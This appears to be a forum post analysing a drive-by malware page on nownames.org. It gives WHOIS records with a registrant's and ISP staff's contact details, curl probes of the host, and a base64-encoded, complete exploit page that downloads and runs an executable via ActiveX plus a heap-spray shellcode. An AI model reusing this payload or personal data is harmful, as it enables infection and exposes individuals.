a guy got this in a file called BackDoor-CUS!php Unencoded this reads ************************************************ whois? NOTICE: Access to .ORG WHOIS information is provided to assist persons in determining the contents of a domain name registration record in the Public Interest Registry registry database. The data in this record is provided by Public Interest Registry for informational purposes only, and Public Interest Registry does not guarantee its accuracy. This service is intended only for query-based access. You agree that you will use this data only for lawful purposes and that, under no circumstances will you use this data to: (a) allow, enable, or otherwise support the transmission by e-mail, telephone, or facsimile of mass unsolicited, commercial advertising or solicitations to entities other than the data recipient's own existing customers; or (b) enable high volume, automated, electronic processes that send queries or data to the systems of Registry Operator or any ICANN-Accredited Registrar, except as reasonably necessary to register domain names or modify existing registrations. All rights reserved. Public Interest Registry reserves the right to modify these terms at any time. By submitting this query, you agree to abide by this policy. Domain ID:D135312341-LROR Domain Name:NOWNAMES.ORG Created On:18-Dec-2006 12:31:23 UTC Last Updated On:22-Dec-2006 11:30:31 UTC Expiration Date:18-Dec-2007 12:31:23 UTC Sponsoring Registrar:OnlineNIC Inc. (R64-LROR) Status:TRANSFER PROHIBITED Registrant ID:ONLC-2520425-4 Registrant Name:Victor Kozlov Registrant Organization:Private person Registrant Street1:2 Dobson Ave Oakleigh East Registrant Street2: Registrant Street3: Registrant City:Melbourne Registrant State/Province:Victoria Registrant Postal Code:3166 Registrant Country:AU Registrant Phone:+7.4955123456 Registrant Phone Ext.: Registrant FAX:+7.4955123456 Registrant FAX Ext.: Registrant Email:datexe@safe-mail.net Admin ID:ONLC-2520425-1 Admin Name:Victor Kozlov Admin Organization:Private person Admin Street1:2 Dobson Ave Oakleigh East Admin Street2: Admin Street3: Admin City:Melbourne Admin State/Province:Victoria Admin Postal Code:3166 Admin Country:AU Admin Phone:+7.4955123456 Admin Phone Ext.: Admin FAX:+7.4955123456 Admin FAX Ext.: Admin Email:datexe@safe-mail.net Tech ID:ONLC-2520425-2 Tech Name:Victor Kozlov Tech Organization:Private person Tech Street1:2 Dobson Ave Oakleigh East Tech Street2: Tech Street3: Tech City:Melbourne Tech State/Province:Victoria Tech Postal Code:3166 Tech Country:AU Tech Phone:+7.4955123456 Tech Phone Ext.: Tech FAX:+7.4955123456 Tech FAX Ext.: Tech Email:datexe@safe-mail.net Name Server:NS1.DOMENS.NAME Name Server:NS2.DOMENS.NAME Whois Record IP Information 72.237.24.189 Record Type: IP Address IP Location: United States United States - Pennsylvania - Perkasie - Said Inc Reverse DNS: srv.techvipdns.org Blacklist Status: Clear OrgName: TelCove, Inc. OrgID: TELCO-12 Address: 712 N Main Street City: Coudersport StateProv: PA PostalCode: 16915 Country: US NetRange: 72.236.0.0 - 72.237.255.255 CIDR: 72.236.0.0/15 NetName: TELCOVE-KMC NetHandle: NET-72-236-0-0-1 Parent: NET-72-0-0-0-0 NetType: Direct Allocation NameServer: NS1.TELCOVE.NET NameServer: NS2.TELCOVE.NET NameServer: NS3.TELCOVE.NET Comment: RegDate: 2005-04-27 Updated: 2006-04-11 RAbuseHandle: ABUSE167-ARIN RAbuseName: Abuse RAbusePhone: +1-814-260-2633 RAbuseEmail: Whois Privacy and Spam Prevention by DomainTools.com OrgAbuseHandle: ABUSE167-ARIN OrgAbuseName: Abuse OrgAbusePhone: +1-814-260-2633 OrgAbuseEmail: Whois Privacy and Spam Prevention by DomainTools.com OrgTechHandle: DEG3-ARIN OrgTechName: Gietler, Danielle Elizabeth OrgTechPhone: +1-814-260-2766 OrgTechEmail: Whois Privacy and Spam Prevention by DomainTools.com OrgTechHandle: AMB37-ARIN OrgTechName: Barentine, Angela M OrgTechPhone: +1-814-260-2757 OrgTechEmail: Whois Privacy and Spam Prevention by DomainTools.com OrgName: Said, Inc. OrgID: SAIDI-1 Address: 21B N 7th Street City: Perkasie StateProv: PA PostalCode: 18944 Country: US NetRange: 72.237.24.0 - 72.237.25.255 CIDR: 72.237.24.0/23 NetName: TELCOVE-PHLA-SAIDINC NetHandle: NET-72-237-24-0-1 Parent: NET-72-236-0-0-1 NetType: Reassigned Comment: RegDate: 2006-09-22 Updated: 2006-09-22 OrgTechHandle: ITADM20-ARIN OrgTechName: IT Admin OrgTechPhone: +1-215-257-3110 OrgTechEmail: Whois Privacy and Spam Prevention by DomainTools.com ************************************************ in.php 4 curl http://www.nownames.org/images/in.php > in.php.1 5 curl "http://www.nownames.org/images/in.php?adv=3" > in.php.2 6 curl "http://www.nownames.org/images/in.php?adv=2" > in.php.3 7 curl "http://www.nownames.org/images/in.php?adv=1" > in.php.4 14 curl "http://www.nownames.org/images/in.php?adv=0" > in.php.5 15 curl "http://www.nownames.org/images/in.php?adv='" > in.php.6 17 curl "http://www.nownames.org/images/in.php?adv=ASD" > in.php.7 19 curl "http://www.nownames.org/images/in.php?adv=4" > in.php.8 20 curl "http://www.nownames.org/images/in.php?adv=5" > in.php.9 note that this changed over the time, probably the guy modified something seeing queries from fd : ) ************************ in.php.1 witout any adv parameter ************************ in.php.2 with adv=3 ************************ in.php.3 with adv=2 ************************ in.php.4 with adv=1 ************************ in.php.5 with adv=0 (it doesn't exists and a different template is used) ************************ in.php.6 with adv=' (the server use magic quotes) ************************ in.php.7 and we have an xss here : ) ************************ in.php.8 okay only adv 1-3 and NULL give us something ************************ base64 of adv=3 (the original url) IA0KPGFwcGxldCBhcmNoaXZlPSJjcnRkY2doY24uamFyIiBjb2RlPSJCYWFhYUJhYS5jbGFzcyIgd2lkdGg9MSBoZWlnaHQ9MT4NCjxwYXJhbSBuYW1lPSJ1cmwiIHZhbHVlPSJodHRwOi8vd3d3Lm5vd25hbWVzLm9yZy9pbWFnZXMvZnVubnkucGhwP2Fkdj0zJnNwbD1qYXZhIj48L2FwcGxldD4NCjxTQ1JJUFQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgp2YXIgdXJsPSJodHRwOi8vd3d3Lm5vd25hbWVzLm9yZy9pbWFnZXMvZnVubnkucGhwP2Fkdj0zIjsKDQp2YXIgYmIxMjgzNjgxMzU2ZmYgPSB1cmwrJyZzcGw9cmRzJzsNCmZ1bmN0aW9uIENyZWF0ZU8obywgbikgew0KICAgICAgICB2YXIgciA9IG51bGw7DQogICAgICAgIA0KICAgICAgICB0cnkgeyBldmFsKCdyID0gby5DcmVhdGVPYmplY3QobiknKSB9Y2F0Y2goZSl7fQ0KICAgICAgICANCiAgICAgICAgaWYgKCEgcikgew0KICAgICAgICAgICAgICAgIHRyeSB7IGV2YWwoJ3IgPSBvLkNyZWF0ZU9iamVjdChuLCAiIiknKSB9Y2F0Y2goZSl7fQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICBpZiAoISByKSB7DQogICAgICAgICAgICAgICAgdHJ5IHsgZXZhbCgnciA9IG8uQ3JlYXRlT2JqZWN0KG4sICIiLCAiIiknKSB9Y2F0Y2goZSl7fQ0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCEgcikgew0KICAgICAgICAgICAgICAgIHRyeSB7IGV2YWwoJ3IgPSBvLkdldE9iamVjdCgiIiwgbiknKSB9Y2F0Y2goZSl7fQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICBpZiAoISByKSB7DQogICAgICAgICAgICAgICAgdHJ5IHsgZXZhbCgnciA9IG8uR2V0T2JqZWN0KG4sICIiKScpIH1jYXRjaChlKXt9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmICghIHIpIHsNCiAgICAgICAgICAgICAgICB0cnkgeyBldmFsKCdyID0gby5HZXRPYmplY3QobiknKSB9Y2F0Y2goZSl7fQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICByZXR1cm4ocik7ICAgICAgDQp9DQoNCmZ1bmN0aW9uIEdvKGEpIHsNCiAgICAgICAgdmFyIHMgPSBDcmVhdGVPKGEsICJXU2MiKyJyaXAiKyJ0LlNoIisiZWxsIik7DQogICAgICAgIHZhciBvID0gQ3JlYXRlTyhhLCAiQURPIisiREIuU3RyIisiZWFtIik7DQogICAgICAgIHZhciBlID0gcy5FbnZpcm9ubWVudCgiUHJvY2VzcyIpOw0KICAgICAgICANCiAgICAgICAgdmFyIGJiMTYzOTk4NDEyMmZmID0gbnVsbDsNCiAgICAgICAJdmFyIGJpbiA9IGUuSXRlbSgiVEVNUCIpKyAiXFwiICsgInJmMjA3MTk2NTMxNm1tLmV4ZSI7DQogICAgICAgIHZhciBiYjM1NTk1MjA5N2ZmOyANCiAgICAgICAgDQogICAgICAgIHRyeSB7IGJiMTYzOTk4NDEyMmZmPW5ldyBYTUxIdHRwUmVxdWVzdCgpOyB9DQogICAgICAgIGNhdGNoKGUpIHsNCiAgICAgICAgICAgICAgICB0cnkgeyBiYjE2Mzk5ODQxMjJmZiA9IG5ldyBBY3RpdmVYT2JqZWN0KCJNaWNyIisib3NvZnQuWE1MSCIrIlRUUCIpOyB9DQogICAgICAgICAgICAgICAgY2F0Y2goZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgYmIxNjM5OTg0MTIyZmYgPSBuZXcgQWN0aXZlWE9iamVjdCgiTVMiKyJYTUwyLlNlcnYiKyJlclhNTEgiKyJUVFAiKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmICghIGJiMTYzOTk4NDEyMmZmKSByZXR1cm4oMCk7DQogICAgICAgICAgIA0KICAgICAgICBiYjE2Mzk5ODQxMjJmZi5vcGVuKCJHRVQiLCBiYjEyODM2ODEzNTZmZiwgZmFsc2UpDQogICAgICAgIGJiMTYzOTk4NDEyMmZmLnNlbmQobnVsbCk7DQogICAgICAgIGJiMzU1OTUyMDk3ZmYgPSBiYjE2Mzk5ODQxMjJmZi5yZXNwb25zZUJvZHk7DQogICAgICAgIA0KICAgICAgICBvLlR5cGUgPSAxOw0KICAgICAgICBvLk1vZGUgPSAzOw0KICAgICAgICBvLk9wZW4oKTsNCiAgICAgICAgby5Xcml0ZShiYjM1NTk1MjA5N2ZmKTsNCiAgICAgICAgby5TYXZlVG9GaWxlKGJpbiwgMik7DQogICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgcy5SdW4oYmluLDApOw0KfQ0KDQp2YXIgaSA9IDA7DQp2YXIgYmI3MzAwMjMxMTlmZiA9IG5ldyBBcnJheSgne0JEOTZDNTU2LTY1QTMtMTFEMC05ODNBLTAwQzA0RkMyOUUzNn0nLCd7QkQ5NkM1NTYtNjVBMy0xMUQwLTk4M0EtMDBDMDRGQzI5RTM2fScsJ3tBQjlCQ0VERC1FQzdFLTQ3RTEtOTMyMi1ENEEyMTA2MTcxMTZ9JywnezAwMDZGMDMzLTAwMDAtMDAwMC1DMDAwLTAwMDAwMDAwMDA0Nn0nLCd7MDAwNkYwM0EtMDAwMC0wMDAwLUMwMDAtMDAwMDAwMDAwMDQ2fScsJ3s2ZTMyMDcwYS03NjZkLTRlZTYtODc5Yy1kYzFmYTkxZDJmYzN9JywnezY0MTQ1MTJCLUI5NzgtNDUxRC1BMEQ4LUZDRkRGMzNFODMzQ30nLCd7N0Y1QjdGNjMtRjA2Ri00MzMxLThBMjYtMzM5RTAzQzBBRTNEfScsJ3swNjcyM0UwOS1GNEMyLTQzYzgtODM1OC0wOUZDRDFEQjA3NjZ9JywnezYzOUY3MjVGLTFCMkQtNDgzMS1BOUZELTg3NDg0NzY4MjAxMH0nLCd7QkEwMTg1OTktMURCMy00NGY5LTgzQjQtNDYxNDU0Qzg0QkY4fScsJ3tEMEMwN0Q1Ni03QzY5LTQzRjEtQjRBMC0yNUY1QTExRkFCMTl9Jywne0U4Q0NDRERGLUNBMjgtNDk2Yi1CMDUwLTZDMDdDOTYyNDc2Qn0nLG51bGwpOw0KICAgICAgICANCndoaWxlIChiYjczMDAyMzExOWZmW2ldKSB7DQogICAgICAgICAgICAgdmFyIGEgPSBudWxsOw0KICAgICAgICAgICAgICANCiAgICAgICAgICAgICBpZiAoYmI3MzAwMjMxMTlmZltpXS5zdWJzdHJpbmcoMCwxKSA9PSAneycpIHsNCiAgICAgICAgICAgICAgICAgICAgIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJvYmplY3QiKTsNCiAgICAgICAgICAgICAgICAgICAgICBhLnNldEF0dHJpYnV0ZSgiY2xhc3NpZCIsICJjbHNpZDoiICsgYmI3MzAwMjMxMTlmZltpXS5zdWJzdHJpbmcoMSwgYmI3MzAwMjMxMTlmZltpXS5sZW5ndGggLSAxKSk7DQogICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICB0cnkgeyBhID0gbmV3IEFjdGl2ZVhPYmplY3QoYmI3MzAwMjMxMTlmZltpXSk7IH0gY2F0Y2goZSl7fQ0KICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgDQogICAgICAgICAgICAgIGlmIChhKSB7DQogICAgICAgICAgICAgICAgICAgICAgdHJ5IHsgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgYiA9IENyZWF0ZU8oYSwgIldTYyIrInJpcHQuU2hlIisibGwiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChiKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR28oYSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9yZXR1cm4oMCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICB9IGNhdGNoKGUpe30NCiAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICBpKys7DQogfQ0KCgoKCg0KDQp2YXIgYmIxOTc5MTU2MDYxZmYgPSB1cmwrJyZzcGw9ZmknOw0KdmFyIEFmZ3NBUnRnID0gMHgwYzBjMGMwYzsNCnZhciBiYjE2ODg1MDgzMTVmZiA9ICcnOw0KDQpmb3IgKGkgPSAwOyBpIDwgYmIxOTc5MTU2MDYxZmYubGVuZ3RoOyApIA0Kew0KYmIxNjg4NTA4MzE1ZmYgKz0gJyV1JyArICgoaSsxPGJiMTk3OTE1NjA2MWZmLmxlbmd0aCk/YmIxOTc5MTU2MDYxZmYuY2hhckNvZGVBdChpKzEpLnRvU3RyaW5nKDE2KTonMDAnKStiYjE5NzkxNTYwNjFmZi5jaGFyQ29kZUF0KGkpLnRvU3RyaW5nKDE2KTsNCmkgPSBpICsgMjsNCn0JDQoNCiAgICAgICAgcXdlcnR5ID0gdW5lc2NhcGUoIiV1OTA5MCV1OTA5MCV1MGZlYiV1MzM1YiV1NjZjOSV1ODBiOSV1ODAwMSV1ZWYzMyV1ZTI0MyV1ZWJmYSV1ZTgwNSV1ZmZlYyV1ZmZmZiV1OGI3ZiV1ZGY0ZSV1ZWZlZiV1NjRlZiV1ZTNhZiV1OWY2NCV1NDJmMyV1OWY2NCV1NmVlNyV1ZWYwMyV1ZWZlYiV1NjRlZiV1YjkwMyV1NjE4NyV1ZTFhMSV1MDcwMyV1ZWYxMSV1ZWZlZiV1YWE2NiV1YjllYiV1Nzc4NyV1NjUxMSV1MDdlMSV1ZWYxZiV1ZWZlZiV1YWE2NiV1YjllNyV1Y2E4NyV1MTA1ZiV1MDcyZCV1ZWYwZCV1ZWZlZiV1YWE2NiV1YjllMyV1MDA4NyV1MGYyMSV1MDc4ZiV1ZWYzYiV1ZWZlZiV1YWE2NiV1YjlmZiV1MmU4NyV1MGE5NiV1MDc1NyV1ZWYyOSV1ZWZlZiV1YWE2NiV1YWZmYiV1ZDc2ZiV1OWEyYyV1NjYxNSV1ZjdhYSV1ZTgwNiV1ZWZlZSV1YjFlZiV1OWE2NiV1NjRjYiV1ZWJhYSV1ZWU4NSV1NjRiNiV1ZjdiYSV1MDdiOSV1ZWY2NCV1ZWZlZiV1ODdiZiV1ZjVkOSV1OWZjMCV1NzgwNyV1ZWZlZiV1NjZlZiV1ZjNhYSV1MmE2NCV1MmY2YyV1NjZiZiV1Y2ZhYSV1MTA4NyV1ZWZlZiV1YmZlZiV1YWE2NCV1ODVmYiV1YjZlZCV1YmE2NCV1MDdmNyV1ZWY4ZSV1ZWZlZiV1YWFlYyV1MjhjZiV1YjNlZiV1YzE5MSV1Mjg4YSV1ZWJhZiV1OGE5NyV1ZWZlZiV1OWExMCV1NjRjZiV1ZTNhYSV1ZWU4NSV1NjRiNiV1ZjdiYSV1YWYwNyV1ZWZlZiV1ODVlZiV1YjdlOCV1YWFlYyV1ZGNjYiV1YmMzNCV1MTBiYyV1Y2Y5YSV1YmNiZiV1YWE2NCV1ODVmMyV1YjZlYSV1YmE2NCV1MDdmNyV1ZWZjYyV1ZWZlZiV1ZWY4NSV1OWExMCV1NjRjZiV1ZTdhYSV1ZWQ4NSV1NjRiNiV1ZjdiYSV1ZmYwNyV1ZWZlZiV1ODVlZiV1NjQxMCV1ZmZhYSV1ZWU4NSV1NjRiNiV1ZjdiYSV1ZWYwNyV1ZWZlZiV1YWVlZiV1YmRiNCV1MGVlYyV1MGVlYyV1MGVlYyV1MGVlYyV1MDM2YyV1YjVlYiV1NjRiYyV1MGQzNSV1YmQxOCV1MGYxMCV1NjRiYSV1NjQwMyV1ZTc5MiV1YjI2NCV1YjllMyV1OWM2NCV1NjRkMyV1ZjE5YiV1ZWM5NyV1YjkxYyV1OTk2NCV1ZWNjZiV1ZGMxYyV1YTYyNiV1NDJhZSV1MmNlYyV1ZGNiOSV1ZTAxOSV1ZmY1MSV1MWRkNSV1ZTc5YiV1MjEyZSV1ZWNlMiV1YWYxZCV1MWUwNCV1MTFkNCV1OWFiMSV1YjUwYSV1MDQ2NCV1YjU2NCV1ZWNjYiV1ODkzMiV1ZTM2NCV1NjRhNCV1ZjNiNSV1MzJlYyV1ZWI2NCV1ZWM2NCV1YjEyYSV1MmRiMiV1ZWZlNyV1MWIwNyV1MTAxMSV1YmExMCV1YTNiZCV1YTBhMiV1ZWZhMSIpOw0KCWVydHkgPSB1bmVzY2FwZShiYjE2ODg1MDgzMTVmZik7DQoJdmFyIGJiMTg1MjAxMDgzOWZmID0gcXdlcnR5K2VydHk7DQoJdmFyIHJmMTAzMzczMTY0NG1taXplID0gMHg0MDAwMDA7DQoJdmFyIGRlc3J0ZmdrID0gYmIxODUyMDEwODM5ZmYubGVuZ3RoICogMjsNCgl2YXIgYmI3NjQ3NzkxMDRmZlNpemUgPSByZjEwMzM3MzE2NDRtbWl6ZSAtIChkZXNydGZnaysweDM4KTsNCgl2YXIgYmI3NjQ3NzkxMDRmZiA9IHVuZXNjYXBlKCIldTBjMGMldTBjMGMiKTsNCgliYjc2NDc3OTEwNGZmID0gZ2V0YmI3NjQ3NzkxMDRmZihiYjc2NDc3OTEwNGZmLGJiNzY0Nzc5MTA0ZmZTaXplKTsNCglyZjEwMzM3MzE2NDRtbSA9IChBZmdzQVJ0ZyAtIDB4NDAwMDAwKS9yZjEwMzM3MzE2NDRtbWl6ZTsNCgltZW1vcnkgPSBuZXcgQXJyYXkoKTsNCglmb3IgKGk9MDtpPHJmMTAzMzczMTY0NG1tO2krKykNCgl7DQoJCW1lbW9yeVtpXSA9IGJiNzY0Nzc5MTA0ZmYgKyBiYjE4NTIwMTA4MzlmZjsNCgl9DQoJdmFyIGdvdiA9ICcnOw0KCXZhciBzID0gZ292Ow0KCXMgKz0gMHg3ZmZmZmZmZTsNCiAgIAlmb3IgKCBpID0gMCA7IGkgPCAyNTYgOyBpKyspIA0KCXsNCgkJdHJ5eyANCgkJCXZhciBnID0gbmV3IEFjdGl2ZVhPYmplY3QoJ1dlYlZpJysnZXdGb2wnK2dvdisnZGVySScrZ292Kydjb24uV2ViVmllJytnb3YrJ3dGb2wnKydkZXJJJysnY29uLjEnKTsNCgkJCWcuc2V0U2xpY2UocywgQWZnc0FSdGcsIEFmZ3NBUnRnLCBBZmdzQVJ0ZyApOyANCgkJfWNhdGNoKGUpe30NCgl9DQoNCglmdW5jdGlvbiBnZXRiYjc2NDc3OTEwNGZmKGJiNzY0Nzc5MTA0ZmYsIGJiNzY0Nzc5MTA0ZmZTaXplKQ0KCXsNCgkJd2hpbGUgKGJiNzY0Nzc5MTA0ZmYubGVuZ3RoKjI8YmI3NjQ3NzkxMDRmZlNpemUpDQoJCXsNCgkJCWJiNzY0Nzc5MTA0ZmYgKz0gYmI3NjQ3NzkxMDRmZjsNCgkJfQ0KCQliYjc2NDc3OTEwNGZmID0gYmI3NjQ3NzkxMDRmZi5zdWJzdHJpbmcoMCxiYjc2NDc3OTEwNGZmU2l6ZS8yKTsNCgkJcmV0dXJuIGJiNzY0Nzc5MTA0ZmY7DQoJfQ0KPC9zY3JpcHQ+ ************************ source of adv=3 ************************ there are three exploits here all these exploits are http download exec (the shellcode downloads something and exec it) one java and two javascript the js variables are randomized (to be verified) ************************ urls the applet call url is the executable